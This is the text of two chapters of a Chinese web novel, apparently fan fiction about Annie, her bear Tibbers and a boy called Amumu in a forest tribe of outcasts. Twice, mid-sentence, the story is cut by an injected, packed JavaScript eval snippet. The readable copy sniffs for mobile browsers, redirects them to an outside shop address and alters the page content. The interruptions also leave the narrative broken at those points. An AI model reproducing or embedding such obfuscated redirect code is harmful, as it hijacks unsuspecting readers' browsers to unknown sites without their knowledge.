《孤战》 1. 1 “一……二……三……” 毛茸茸的白靴子踩在松软的雪地上,和小动物清脆的踏雪声融为一体。安妮穿着水蓝色的大袄裙,一边踮脚走着小碎步,一边在心里默数。 走进寒叶藏起的小径入口,左右左右,穿过那棵常常长蘑菇的老树,然后停在结了厚冰层可以滑冰的湖边,从左到右第十三棵树下……就是这棵弱不禁风快被冰雪压垮的小树下,睡了一个不速之客——利维坦之灵。 听说那可是灵草,要是抓住了,爸爸妈妈一定会很骄傲,她再也不怕在森林里玩太久会被说了! 安妮在心里设想了一下,就禁不住弯了嘴角。不过要仔细,这东西狡猾得很,不能让他溜了! 安妮开始默念冰雪咒语,寒冷的地面更加坚硬。看不见的地下,丝丝寒气蔓延,扩散,逐渐包裹成一个密不透风的大球,张牙舞爪地拉起大掌,悄无声息,然后合力收缩…… “嘭!” 一颗圆滚滚的小球破土而出,震得树上的积雪簌簌地往下掉。 安妮得意地接住冰球,往头大的黑色洞口下看了看:什么也没有。 那就是抓住了? 安妮把冰球放在耳朵边摇了摇,没有动静。她不死心,又使劲拍了拍冰球的边缘,还是什么都感觉不到。 难不成跑了?她明明看见那棵草钻下去了的,凯德阿姨也没说利维坦之灵会土遁啊…… 安妮控制冰雪融化开一点点,就见眼珠大的小口处突然齐刷刷冲出来许多莹绿色的枝条叶子,扭曲着往外钻! 赶紧合拢! “啪!” 冰球咕噜噜滚到地上,伸出来的枝条叶子往四周摸索了一下,立刻朝着安妮的反方向拔腿狂奔——没错,叶子和枝条迅速合并形成两条小细腿,交叉着运动,配合默契。 安妮也就是傻眼了一瞬,就察觉到自己被耍了。 “混蛋,给我站住!” 安妮在后面穷追不舍,利维坦之灵左冲右突,仗着自己比安妮还矮,愣是在茂密的丛林里开发出了一条自己的道路。 太累了……大冬天的,寒气涌入喉咙,比刀割还要难受,再呼吸下去估计都能闻到血腥味…… 安妮跑不动了,头昏脑涨的,眼睁睁看着前方不远处那个小冰球这边撞一下那边绊一脚的,就要消失不见。 有了! 安妮制造出一双冰靴,有节奏地在雪地上奔跑着,却越来越慢;而自己则踩在一块滑溜溜的冰上,像穿着溜冰鞋一样快速接近冰球。 靴子的踏雪声完美掩盖了她的滑雪声,她趁机一边跑一边控制气息,越来越小声地喊着,“站~住~” 冰球果然在一个拐弯后慢了下来,因为靴子厚重的踩雪声已经消失不见了。 安妮一喜,合拢手掌就要再次释放冰灵力,然而这一次利维坦之灵似乎有所感,在灵力包围他的上一秒朝着一个方向猛力撞去! “啪!” “哗啦啦!” 是冰球碎裂的声音。 安妮终于看清了利维坦之灵的全貌:一身翠绿,只有根部有点土黄,叶子还小,细嫩闪着荧光。 果然还是太年轻了吧! 安妮跳过去,计算好利维坦之灵的落地角度,伸手准备接住他。 然而,就见空中的利维坦之灵死命挣扎,纤腰一扭,以一种极其不合理的姿势落入了旁边的草丛中。 草丛中…… “诶!” “吼!” 森林里的雪又被震下来不少。 安妮看着空空如也的手傻了眼。 面前的草丛还在晃动,从里面窜出来一只张牙舞爪的大黑熊,一边大声叫喊着一边拍打着胸脯。若是普通小孩早该被吓哭了,然而安妮却一点也不怕:不就是黑熊吗,她骑得不能再骑的动物。 但是他吃了我的利维坦之灵,我的荣耀! 安妮头一次体会到离成功仅一步之遥的滋味。 “混蛋黑熊,把利维坦之灵还给我!” 安妮借着灵力的冲击一跃跳上黑熊的背,拍着他的头要他把东西吐出来。可怜黑熊睡个觉,先是差点被卡死,现在又被安妮揪着耳朵不放。 “吼吼……” “大混蛋!” “扑棱……” …… 森林里的闹剧一直持续了将近半个钟头,安妮打累了,黑熊也吼累了。 “喂,你吃了我的东西,总要有点补偿吧?” 安妮坐在地上,旁边是耷拉着眼皮犯困的黑熊。安妮也不管他听懂没有,毕竟凯德阿姨说过黑熊一般都是没什么智商的——虽然看起来这只吃了利维坦之灵的有点脑子了。 “你以后给我做宠物,我保证给你吃好的喝好的。” “哼……” 安妮发誓她在黑熊的脸上看到了不屑。 她拉起又要倒下去的黑熊:“喂,你别睡啊,我没骗你!” 眼看着黑熊又一次摇摇欲坠,她干脆放开黑熊,去不远处的小溪边破了冰,抓了条鱼上岸。她手法娴熟地去鱼鳞,洗鱼腹,过水去腥……然后从包包里掏出秋天采的调味料…… “滋滋……” 冬天的鱼都是胖嘟嘟的肥鱼,肉质鲜美,火一烤就滴油,调料的味道自己就能循着空儿钻进肉里,散布在鱼的全身。加上小火一包裹,那跳跃的火苗都像是饥饿的舌头。 安妮就不慌不忙地坐在黑熊旁边烤鱼,还哼着歌,时不时拿眼角斜瞥他一眼。 大笨熊先是鼻子动了动,往上耸了耸,然后手指一根根慢慢弯曲、放开、再弯曲……又过了一会儿,那爪子靠上干瘪的肚子揉了揉,眼皮终于撩开了两下。 安妮也不急,摇头晃脑哼着歌,就看见那一大坨黑影一会儿翻个身,一会儿蹬下腿,终于晃晃悠悠爬了过来,将邪恶的爪子伸向烤鱼。 “啪!” “住手!这是我的鱼!” 安妮打开黑熊的手,利落地拿走了那串鱼。 “吼~” 要不是她打扰,他也不会饿成这样…… “你做我的宠物,我以后天天给你做好吃的。” 安妮丝毫不觉得征求一只黑熊的意见有多奇怪,虽然在其他所有人看来,他们做事完全不需要考虑弱者的意愿——何况是源大陆上随处可见的最低等生物。 黑熊犹豫了好久,刚想别开脸,安妮就开始碎碎念。 “冬天的湖和小溪里各种各样的大鱼,烤起来滋滋冒油,撒上凯德阿姨的秘制调料可香了。更别说还有凯德阿姨的冬阳汤,喝了一整天都不会冷。” 黑熊的耳朵动了动。 “春天有些小花小草特别好吃,三叶草酸酸咸咸的,铁菊花泡的茶又香又甜。” 黑熊的鼻子耸了耸。 “夏天果子熟了,我可以爬树去摘蛇果,还有叶子底下的红樱桃,汁水都是甜甜的。” 黑熊舔了舔干涩的嘴角。 “秋天很多蘑菇都熟了,我知道有一种大头菇比兔子肉还嫩,咬一口……哇塞!太好吃了!” 安妮说到兴奋处,狠狠地在烤鱼上咬了一口,原来热气已经在寒冬散得差不多了,现在吃正好。 “吼……” 黑熊哀叫一声,扒拉上了安妮的袖子。 安妮眼里闪过一丝狡黠,没有直接把鱼给黑熊。 “我们先签订契约,签完了你再吃——不许耍赖!” 黑熊认命地点点头,就见安妮低声默念着什么咒语,面前浮现出一团黑色雾气,扭曲着诡异的身姿,包裹了黑熊。黑熊摆了摆四肢,很快发现自己变成了一个小玩偶。 纽扣眼,刀疤脸,着实不太可爱。 不过他也没管那么多,抱着鱼就开始大快朵颐。安妮满意地拍了拍他的头:“你乖乖的,我再去给你抓鱼。” “缇啵丝~” “提伯斯?是你的名字吗?” 安妮眨了眨眼睛,看着面前小小的布偶,他显然不知道刚刚那声尖细的叫喊来自于自己。 “那就叫你提伯斯吧。记住了,你以后就叫我提伯斯,我的宠物!” 安妮抱着布偶转圈圈,像第一次得到礼物的孩子。 “提伯斯,看这里!” “啪!” 一个小雪球打在白熊的脸上,炸开一朵晶莹的花。傻熊盯着鼻头上的雪堆,伸出舌头舔了舔……没味道。 “哈哈哈哈,你怎么这么笨!” 安妮最喜欢在冬天打雪仗了,虽然面前的这个对手四肢发达,头脑简单,太没有挑战性了点。 提伯斯无奈地抿嘴,一爪子抹掉了脸上的雪渍。 “快来打我呀!”安妮又是一个雪球,正中提伯斯的围巾,“你要是打中我,我就奖励你一条烤鱼!” 提伯斯瞬间来精神了! 他开始在地上使劲刨雪,安妮在远处看着,眼睛都瞪圆了:“你是想把我埋了吗……雪球小一点,别砸死我了。” 提伯斯似乎听懂了,把比他肚子还大的雪球切掉一半。 “再小!” 头大的雪球。 “你个逆子……”安妮伸出自己的小粉拳,“看见没,这么大,最多大一点,不能再多了!” 安妮怀疑提伯斯吐了吐舌头,不过她没看清。 “啪!” 是一个巴掌大的雪堆。 “你犯规!要团成球!” 他这是当在扔泥巴吗,抓起来就丢! 提伯斯眼看没砸中,从身边的雪堆里又抓出一把雪,使劲捏了捏权当是个球,又扔了出去。安妮这次早有防备,看着绽开在脚边的雪花吐舌:“大笨蛋,一点也不准,烤鱼没指望咯!” 她说完掉头就跑,一边跑一边从低矮的树枝上抓起雪团成球,照着追上来的提伯斯就是一个完美的抛物线。 “哈哈……哈哈哈哈……” 安妮身材矮小,提伯斯被她恢复原型后却显得笨重,更遑论脖子上还有一条厚厚的围巾老被挂住。不一会儿,安妮就发现提伯斯被栓在了一棵小树旁,可怜兮兮地等着她解围。 安妮好笑地走回去,想细看是哪条枝丫勾住了流苏。 “啪!” 水蓝色的袄裙上炸开一朵白色的雪花。 “吼!” 是提伯斯兴奋的叫喊。 “……” 安妮才不承认她被一只笨熊阴了。 “别动,给你解围巾!” 这可是凯德阿姨织的围巾,还是她缠了好久,凯德阿姨才给的——天蓝色,和她的裙子一个调调。 安妮埋头仔仔细细研究着,四周就这样安静了下来。 安静的环境里就听见呼呼的风吹落细雪,雪里夹杂着细细的灰尘和冰冰凉凉的结晶。 提伯斯忍不住揉了揉发痒的鼻尖,换来安妮的小巴掌。 “别乱动!围巾坏了你就给我织一条。” “啪”的一声,让提伯斯委屈地放下熊爪。 别说织围巾了,他连那脆弱的针都拿不好。安妮玩累的时候喜欢坐在树上织毛线,细长的工具在她手中就像小鱼戏水一样自在,左穿右插,腿还在底下有节奏地摆动,配合默契。 有时候还会有故事,或者之后的安排。她说的觅食不是诱哄大笨熊的谎言,那些游戏也不是突发奇想。这片森林里宝藏太多,她还可以发掘好久好久,好久好久…… 那是一个温暖的春天。 新雪消融,万物复苏,踩在雪上的声音和动物钻出洞穴的声音混杂在一起,是自然独特的交响乐。还有默默伸展腰肢的嫩叶,抖擞精神迎接阳光的迎春花,笑得悄无声息,又有溢于言表的喜悦。 这个时候,小鱼都在解封的冰下活动僵硬的筋骨,野果四处张望着琢磨在哪里安家,最妙的是啁啾雀,可以为了一处向阳的地争吵一天,先累了飞走的那个总是一身狼狈,鼻孔里挂着半结冰的鼻涕…… 安妮最喜欢提着小篮子逛啊逛,景色百看不厌。 身后还多了个小跟班,会贴心地拂开过于热情的枝丫。 “坐在你的肩上也能看好远啊……大笨熊你真高。” 安妮之前爬上提伯斯的背时就猜想,等以后和他做了朋友,踏着他的背看风景会是多么悠闲的事,如今看来确实如此。 春天将至,春寒料峭,不是所有的树木都开始肆无忌惮地争夺领地,那些叶子也还在观望局势,于是视野难得一片开阔,能看到远处青黄相映的地面。偶尔会有让人一个激灵,全身一抖的冰条,那是梗着脖子和冬天的余寒抗争的树枝。 安妮不舍得把他们折断,于是像个首领一样,和他们象征性地握握手,然后一个转向潇洒离去。 “这边这边……你抬头看看嘛,那边全是树枝!” 安妮不轻不重地把提伯斯的耳朵往右边揪,像是操控飞行魔毯的法师,提起飞毯的两角左右摆动来指引方向。 忽然,视线里掠过一个青黑的影子。 “等等!” 安妮用力一拍,提伯斯停住了。 “没事,看错了。” 安妮揉了揉提伯斯的头顶,揪着他的耳朵继续转弯,余光却在一棵棵枯瘦的树木后跳跃。 她也没走太远,到了熟悉的湖边就停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?嗯……嗯。” 被叫成“阿木木”的少年没有反驳,支支吾吾不知道怎么回答。也许他就叫阿木木吧?这样也挺好,反正他也不知道自己该叫什么。 “那你怎么会在这里?你也是被‘神’抛弃的人吗?” 面前的人怯懦地低着头,像极了曾经被人们排挤欺压的族人们。那他也是又一个被抛弃的人吗?可是他这么好看,为什么也会被抛弃? 阿木木摇头。他不知道什么是“被神抛弃的人”,他的记忆里,甚至没有神的存在。 “你是不知道,还是不承认?” 安妮腿都要蹲麻了,可是面前的人还是低着头一言不发。真是比提伯斯还笨!安妮这样赌气地想着,心里思考着面前的少年因为智商被人扔掉的可能性。 他一定是不爱说话,所以被孤立讨厌了——就像她,因为不会说话,也被讨厌了。 “你饿了吗?” 这次,默不作声的少年终于点了点头。 安妮叹了口气,认命地跑去湖边,然后……指挥提伯斯去抓鱼。 “没关系,我们还有很长的时间可以认识。” 太阳才刚刚升上天空,女孩才刚刚遇见命运。 黑暗族是这个大陆上不太光明正大的种族。他们无法和其他的种族平等和谐地相处,也被剥夺了很多本应具有的权利。他们由人族,精灵族组成,或者还要加上一个阿修罗族,总之,代指一切拥有黑暗之力的生物。 “所以,你是黑暗族的吗?” 安妮端详着安静吃鱼的少年。 他的眼睛比湖水还清澈,碧绿得装满了整个森林,明明是极光的颜色,却看不到黑夜。 安妮想,他应当是光明族的——如果这个世界上真的有这个种族,并且这个种族真的应该存在谁的话。 他不会是黑暗族的。 “那……精灵?你是精灵吗?” 传说精灵都身姿轻盈,容貌昳丽,声音婉转动听,还心灵手巧,或者智慧超群,那他会是精灵吗?他那么好看,可是看起来呆呆的…… 阿木木就安安静静地听着安妮科普,没有点头,也不摇头。 “算了,大陆的人对种族的观念并不深,只要……你不是黑暗族的就行。” “那你是黑暗族的吗?” 这是阿木木说的第二句话。 安妮顿住了。 “我?我当然是啊……我是黑暗族族长的孩子呢……不过你别怕,黑暗族不会伤害别人的,我也不会伤害你的。” 个头比阿木木小不少的安妮这下也开始窘迫起来了。她有些紧张。她不知道面前的人知道她是黑暗族的,会有什么反应。她大概已经了解为什么黑暗族会被人们排斥,可这并不意味着她愿意接受这样的孤立……孤立中的孤立。 朋友,能多一个是一个,凯德阿姨说的。 周围开始安静下来,呼呼的风吹落细雪,掉在僵硬的衣裙上。 “大笨熊,不要乱动篮子!” 提伯斯瞬间收回蠢蠢欲动的熊爪。他不明白为什么刚刚还聚精会神聊着天的安妮突然就注意到他了。 “和我回部落吧!凯德阿姨会欢迎你的到来的!” 应该会的吧……他们已经收留了好多无家可归的孩子了。 阿木木吃鱼的动作停下了,但是他很快就轻轻地,但是不容拒绝地摇了摇头。墨黑的碎发晃动着,在皑皑白雪的映衬下好看得夺目。 “不回部落,你住哪里?” 其实她更好奇之前阿木木住在哪里。 “……” 安妮看懂了,总之就是不去。 “不去就不去吧,反正无妄森林的边缘挺安全的,你别乱跑哦~”安妮挺直脊背做了心痒已久的动作——摸了摸阿木木的头发。果然,冰凉的雪已经融化,冷硬的弧度,但是刺刺的又软软的。 阿木木很快反应过来躲开了,安妮也不恼,让提伯斯提起身边的小篮子:“我们去采花吧!” “黄色的,花瓣像水滴一样但略微细长的是铁菊花,泡茶喝特别香,但是要加糖;白色的四瓣大叶子的是胆小花,别看她长得挺大,碰一下就卷成球了;毛茸茸圆圆的是蒲公英,花瓣像小伞一样,呼一口就散了,会飞很远很远……” “还有常青藤,迎春花,喇叭草……还有好多好多……” “大笨熊!口水流围巾上了!” 2. 2 寒。 从心底渗出的冰寒。 好像一举一动都在被窥视,一切行踪暴露无遗,连内心深处的想法都在被追踪、撕扯、曝晒、无法逃离。 可是极目望去,只有白色和绿色交织的春天,生机盎然,万象更新,美好得像梦境。找不到来源,似乎……被一片光明包裹住。背后那双眼睛,总是在转身追寻去的前一秒紧闭……和背景融为一体。 “木木,你怎么这么爱走神啊?” 安妮撑着下巴打量垂头的少年,脚底下还是一晃一晃的,踢得树干轻轻震动。还是熟悉的树干,明明上一刻还坐在一起聊天,但下一刻就感觉身边的人不见了,森林里只有自己的叽喳声在回荡。 “我……我可以去你的部落吗?” “去看看?还是住下来?” 自以为是这几天的疯狂介绍有效的安妮立刻兴奋起来,然后头更低了,使劲低下去想看到身边人的表情。 “……” 阿木木还在纠结,安妮已经抓起他的手跳下树干。 “走走走,看一看你就会喜欢上那里的!”她拉着阿木木就往通向森林外的小路上跑,又突然停下,转过身,喊住盯着篮子发呆的提伯斯,“大笨熊你看着篮子,别乱跑啊!” 她说完就继续往外飞奔。 阿木木也不反抗,任由她拉着,两个小小的人在冰雪消融的地面上狂奔。 “快、快到了……我们先去,找凯德阿姨……” 安妮是一边喘气,一边笑着说的。阿木木也被她的热情感染,不好意思地笑了笑。 树木越发稀疏,灌木丛此时也并没有长出尖牙利爪,于是最后的路显得平坦而顺利。安妮借着走路的功夫开始絮絮叨叨,介绍自己那个小小的部落。 “我们的部落名字是根据我爸爸的名字取的,他叫塞弗勒斯,曾经是光明学院的天才法师,如今领导着我们的部落。我的妈妈叫弗洛,是一个大美人,曾经也是光明学院有名的法师。只是因为后来,他们违规研究黑魔法的缘故,加丁院长赶走了他们,他们只能在无妄边境生活。爸爸妈妈的追随者大多也是因为学习黑魔法被驱逐的人,还有一些是无家可归的流浪汉或者小孩。” “我也不知道黑魔法是什么,为什么会被人们排斥。曾经我以为,拥有黑暗之力的人会干很多坏事,所以大家都不喜欢黑暗族,但后来我才知道,其实很多时候,黑暗族才是被瞧不起或者被伤害的弱者。爸爸妈妈总是在做研究,也不知道在研究什么,总之……唔……怎么说呢……” 她绞尽脑汁,也想不到什么合适的形容词来描述这个部落。 “我们到了。” “啊!正好!那我们走吧!” 安妮看见了前方若隐若现的帐篷。 她左转右转,灵活穿梭着,时不时和认识的人打个招呼。有的人在洗菜,有的人在缝补衣服,小孩子手里是花花绿绿的石头,聚在一起玩着游戏。 安宁和谐的画面。 “你不去和他们玩吗?” 阿木木记得,安妮总是出现在森林里,从晨曦初露,一直到日暮时分。 有那么一瞬间,安妮怔愣住了,但很快她就回过神来,看向牵着阿木木的手:“我不是小孩子了,不玩那些幼稚的游戏。” 阿木木看见那双蓝色的眼睛闪了闪。 “凯德阿姨就在前面,我们快过去吧!” 安妮说的是帐篷前一个正在煮汤的女人。 她裹着棕色头巾,褐色长发柔顺地贴着弯下的脊背,灰色长裙,手里还有一个舀水的木瓢。她背对着安妮在给锅炉加水,蘑菇的香气歪歪扭扭地跟着白色烟雾跳舞。 “凯德阿姨!” 安妮大喊一声,女人笑眯眯地直起身,转过头。 她有一头乱糟糟但柔顺蓬松的长发,厚厚的刘海下藏着一双棕黑的眼睛,看起来深邃却柔和。 “是安妮啊,今天怎么没去森林里玩?” “去了,又回来了。” “你的篮子呢?还有那只玩偶熊?” “放在森林里了,待会儿去拿……”安妮窘迫地背手,才想起自己还牵着一个人,“凯德阿姨,我们可以收留他吗?” 凯德其实早就发现了安妮身边的这个人。 乌黑的短发,皮肤白皙,身材瘦削,看起来没什么攻击力。一双猫眼澄澈晶莹,帅气却不危险。黑绿相间的风衣,不太保暖,腰带包裹住纤细的腰身,似乎很柔弱。 “你在哪里遇到他的?” “森林里……” 凯德的眼神闪了闪,又不着痕迹地打量了阿木木一会儿,才点点头,“我会给塞弗勒斯说的,你先带他去安置,就……” “住在我的帐篷里!” “……”凯德有些纠结,“可以,但你需要先和弗洛商量。” “妈妈会答应的!” 安妮高高兴兴地拉着阿木木离开了,她直奔自己的帐篷,阿木木就一声不吭地跟着。他总觉得背后视线隐含的探究意味太浓。 安妮的帐篷不大,但是门口种了很多花花草草,以及野生蘑菇,可爱又美丽。她的帐篷是紫色的,阿木木还以为会是和周围人一样的土黄,或者白色。这个帐篷在一堆帐篷里显得很小,如果不是标志性的东西太多,颜色也有区分,其实很难注意到。 “我的帐篷好看吧?这些花花草草都是我和凯德阿姨一起种的!” 安妮掀开帐篷,映入眼帘的是一张蓝色小床,几盏小小的魔法灯笼,和几个檀木柜子。 “衣服和玩具就不给你看了,让你来看看我的收藏品!” 安妮钻进床底下,从里面拖出来一个巨大的长方形箱子。 她用脖子上的钥匙打开木箱子,里面是一堆花花绿绿的东西。 “你看!这个最好看,是水晶琥珀!” 安妮举起手里的蓝色晶体,这块晶体并不规则,但是发着莹蓝色的光,里面还有一朵紫色的不知名小花,花瓣保持着盛放的姿态,枝干一直蔓延到边缘。 安妮小心翼翼地放下琥珀,拿起一块木头:“这是我捡到的木头,拿来做雕塑正好,你看得出来这是什么吗?” “熊。” “你真有眼光!”安妮得意洋洋地放下雕塑,又拿起角落里的一块冰,“这是我用冰灵力封存的琥珀,你可以叫它冰晶琥珀!” 这是一块和之前的自然琥珀完全不一样的艺术品,它的外形居然是一只玩偶熊,没有棱角,身体圆润又协调。琥珀里面是很多花瓣,叶子,草藤。 “每一种植物我都很喜欢哦~” 安妮摸着冰熊,爱不释手。 阿木木很惊讶,他的记忆里,鲜少有人可以把冰灵力掌控到这个地步,那个熊玩偶的外形简直太完美了。 安妮还在介绍,阿木木就在一边安安静静地听着,偶尔接一句话。他看见箱子里其实还放了很多五彩斑斓的石头,叮叮当当撞得直响。 大小和外面的孩子拿的那些差不多。 安妮跪在木箱子旁,举着各种收藏端详,一边还嘀咕着自己的新想法。阿木木听到帐篷外传来一阵轻缓规律的脚步声,接着是帘子被掀开的声音。沉浸在自己想法中的安妮并没有注意到,但是阿木木已经朝入口望去。 他首先看见一只枯瘦得青筋凸起的手,然后是一双长筒皮靴,接着,一个栗色长发的纤细女人走了进来。 安妮的余光终于注意到了女人,她放下手上的东西,锁好木箱子,推进床底,然后跑过去抱住了来人,头正好顶在棕黄皮衣和棕黑长裙的连接处。 “妈妈,你回来了!”安妮抱一抱就退开了,急急忙忙把一旁的阿木木拉到身前,“这是我的妈妈弗洛,你可以叫她……” “弗洛阿姨。” 阿木木很上道。 “妈妈,阿木木是我的朋友,他可以住在我的帐篷里吗?我保证我们不会捣乱!” 弗洛揉了揉安妮凌乱的长发,温柔地笑了笑,深邃的黑色眼眸里倒映出阿木木矮小的影子。她只是看了一小会儿,就点头答应了。 “我会尽快给你加一张床的,你先带着你的朋友熟悉一下这里吧。妈妈还有事,先走了。” 安妮乖巧地点头,目送弗洛离开。阿木木总觉得她们的相处方式很奇怪,可是不知道奇怪在哪里。 “走吧,我带你继续去参观!” 无妄边境是一个人烟稀少的荒漠与草原交接地带,旁边还有异常可怕的无妄森林。这里的资源并不丰富,因此很少有外来人员。塞弗勒斯一族在这个地方生活,偶尔也会收留被遗弃在圣城外或者直接丢到无妄森林的孩子——这个世界的繁衍规则太简单,以至于亲情显得可有可无。 但是安妮的眼睛里,好像什么都可以变成玩具。 荒漠里的小草,有圆的有尖的,有柔软的有刺挠的,有的可以编小动物,有的可以直接吃…… 树上的野果,有红的有青的,什么季节会成熟,什么时候能打下来…… 还有各种各样的小动物,打洞的兔子,掘草根的田鼠,以及躲在草丛里的彩毛鸡…… 有的是安妮取的名字,有的是凯德阿姨介绍的。 无妄森林的内部很危险,但是安妮只在边缘玩。无妄森林的边缘也有不少资源,有时候族人会结伴去找一些蘑菇,野菜,但是不知道为什么,安妮很少遇到他们。 总之,她现在已经踩出好几条独属于自己的小径,还认识了无妄森林边缘的动物们。至于这些动物是否乐意认识安妮,就不得而知了。 “等到入初春了,我就带你去找将军草,那种草特别坚韧,适合做蚂蚱。我还可以带你去找毛茸茸的狐尾草,这种草上边儿全是绒毛,摸起来可舒服……” 安妮叼着一根小草咀嚼,躺在地上,弯着腿,枕着胳膊,眯眼看雾蒙蒙的太阳。太阳一年四季都是雾蒙蒙的,看着一点也不刺眼。 阿木木也学着躺下,那双清澈的眼睛暴露在阳光下,就像闪耀的宝石。 他也睁眼看向太阳,却觉得眼睛有点干涩,酸胀,似乎进了块石头,不自觉地流出泪水。 阿木木侧身躲过耀眼的日光,旁边的女孩已经闭上眼睛睡着了。微风拂过,掀起她的一小撮刘海,痒得她揉了揉额头。水蓝的长发在暖黄色里有些突兀,但是并不感觉寒冷。 阿木木不知道安妮是怎么舒舒服服地睡着的,他总觉得这太阳跟个独眼怪似的,盯得人难受。 好在安妮也没休息多久,很快就活蹦乱跳地坐起来。太阳已经晃悠到地平线上,天空也黑了下来。安妮估摸着要开饭了,领着阿木木往回走。她走着走着,忽然想到什么,脚步一顿。 “嗨呀,坏了!” 阿木木疑惑地看过去。 “大笨熊还等着我呢!”安妮一跺脚,松开阿木木的手就往森林飞奔,“前面就是凯德阿姨的帐篷,木木你先过去,我去接提伯斯!” 她说完一溜烟往一个方向跑没影了,阿木木甚至来不及阻止一下。 天都快黑了,不危险吗…… 阿木木还是决定先去找凯德阿姨。 他一直朝着一个方向跑,跑到那间熟悉的帐篷前。白色的布笼罩上一层和谐的光辉,饭菜的香味一缕缕钻出,还有模糊的人影在晃动。阿木木有些无措。 好在凯德阿姨出来了。 “你是……” “凯德阿姨,安妮她跑去无妄森林了!” “这孩子,又落下什么东西了吧。”凯德说着责怪的话,表情却仍旧淡然,“她很快就会回来了,你不用担心。是她叫你来找我的吧?你跟我来。” 凯德和帐篷里的人交代了几句,就领着阿木木往安妮的帐篷那里走。阿木木怪异的感觉更深了,可是他转念一想,似乎以安妮的实力来看,确实不用太担心…… “你叫……阿木木是吧?我叫凯德,是这里的主要负责人,有什么问题都可以找我。安妮这孩子淘气,但是心地是好的,你和她相处得还好吗?” “我们相处得很好。” 凯德阿姨很和善,除了名字再不问任何阿木木的事,反而讲着部落里的一日三餐,听起来温馨又贴心。阿木木一开始还担心被刨根问底,可是很快就愉快地和凯德交流起来。 “啊,我们到了。”凯德首先就看到了坐在弗洛旁边的安妮,“你看,她不是在这吗?” “凯德阿姨!木木你回来啦!” 安妮扬了扬手里的提伯斯玩偶,对阿木木有点挤眉弄眼的意思。 “我没兴趣了解你们的小秘密,快吃饭吧。”凯德把阿木木推过去,“我要回去了,今晚早点休息。下次别把朋友放我这里了。” “知道了,凯德阿姨再见!” 安妮缩下凳子,拉着阿木木就座。弗洛突然问道:“阿木木怎么没和你一起回来?” “我让他去凯德阿姨那里玩了一会儿,对吧木木?” “嗯嗯,对……” 阿木木似懂非懂地点点头。 如果站在帐篷外看了几眼也算一会儿的话。 一顿饭吃得还算愉快。弗洛的声音很温柔,大致问了一下阿木木的情况,就开始热情地介绍今后他的住所。阿木木一直乖乖地点着头。吃完饭,安妮就拉着阿木木要去听故事。 “每天晚上,凯德阿姨都会在篝火旁给小朋友们讲睡前故事,你也可以去听哦~” “那你呢?” 阿木木看安妮好像准备推开他离开的样子。 “凯德阿姨会单独给我讲故事的。” 更奇怪了。 “我不想去。” “你不喜欢听故事吗?” 安妮神情有些复杂。 “不是……我和你一起吧。” “那……我们去帐篷里玩吧。” 安妮带着阿木木回到自己的帐篷,篝火将她的影子越拉越长。阿木木总觉得安妮的背影带着落寞,可是她明明是一蹦一跳地往前走着——没有回头。 安妮的帐篷里没有耀眼的烛火,几颗闪闪发光的小石头装在玻璃盏里,就是原始的灯笼。它们有的放在地上,有的挂在帐篷上。阿木木看见高高的帘子,知道后面是自己的床。 “火很危险,所以我们用一种萤石做照明工具。萤石你知道吧?就是像萤火虫一样会发光的石头!” 安妮在墙角提起一盏灯,摇晃了几下,清脆的撞击声在寂静的帐篷里格外响亮。 “好了,快来洗脸吧!” 阿木木点点头,走到安妮身边。 他碧绿的眼眸里映出暖黄的颜色,好像星辰落入大海。 “为什么你不和他们一起?” “我不想去……我和他们不一样。” 是哪里不一样?不知道,反正肯定是不一样的。凯德阿姨曾说过道不同不相为谋,她自然和那些孩子也玩不到一起。有时候也许会失落,但安妮很快就释然了。 “你还没听凯德阿姨讲过故事呢,肯定不知道凯德阿姨有多博学!” 安妮把阿木木拉着坐到床边,开始回忆凯德阿姨给她讲过的许许多多事情,从各种动植物的习性到诗词歌赋异域风情,再到人生哲学和处世之道,凯德阿姨简直无所不知无所不晓…… 阿木木忽然有点明白安妮为什么不太合群了,她聪明成熟得有些过分。 但是这样想的他算什么呢? “喂,别走神呀!”安妮用肩膀撞了一下阿木木,力道不轻不重,“你难道不觉得很有趣吗?唔……要是你不喜欢听这个,那我告诉你一个最最神秘的故事!” 最最神秘的故事? “笨蛋!就是很少很少人知道的那种!” 阿木木眼睛亮了。 “从前,有两个相爱的人,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119470|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一个是贫穷的农民,一个是富豪家的女儿——你先别觉得老套,这只是开始!” “富豪不准青年娶自己的女儿,于是就处处刁难青年,阻止他们见面,甚至骂青年一无是处。青年下定决心要娶富豪的女儿,但是他们历尽艰辛,最后,富豪的女儿还是不得已要嫁给别人。” “精彩的开始了!最后,青年决定带着富豪的女儿私奔。富豪很生气,但是他们已经逃到山上,很难找到了。富豪不甘心,于是下令让人们搜山。” “你猜最后怎么了?” “青年应该和富豪的女儿躲起来了吧……他们没有被发现?” “可以这么说。正在青年和富豪的女儿走投无路的时候,青年忽然看到了一株紫色的蒲公英。这株蒲公英开口说话,告诉青年,找到它的人都可以得到幸福,问青年的幸福是什么。” “青年回答说,他想和自己的爱人永远在一起,永远不分离。” 看来,这是一个少女慕艾的浪漫故事。 然而安妮却丝毫没有停下的意思,甚至语气更加高昂:“但是紫色蒲公英告诉他,世间的一切都是会变的,你们经历的考验还不够,永远在一起并不能得到真正的幸福。” 阿木木愣住了。 “青年和女孩都不相信,紫色蒲公英于是将青年变成了一朵桔梗花,把女孩变成了一朵蒲公英。桔梗花终其一生只能留在原地等候,而蒲公英却可以乘风离去。他们彼此陪伴了很久,富豪也没有找到他们。” “然而多年以后,人们再上山时,却看到漫山遍野的蒲公英盛开着,桔梗不知所踪。” “桔梗去哪里了?” 阿木木知道,这个女孩已经放弃了少年,但是他更想知道少年的选择。 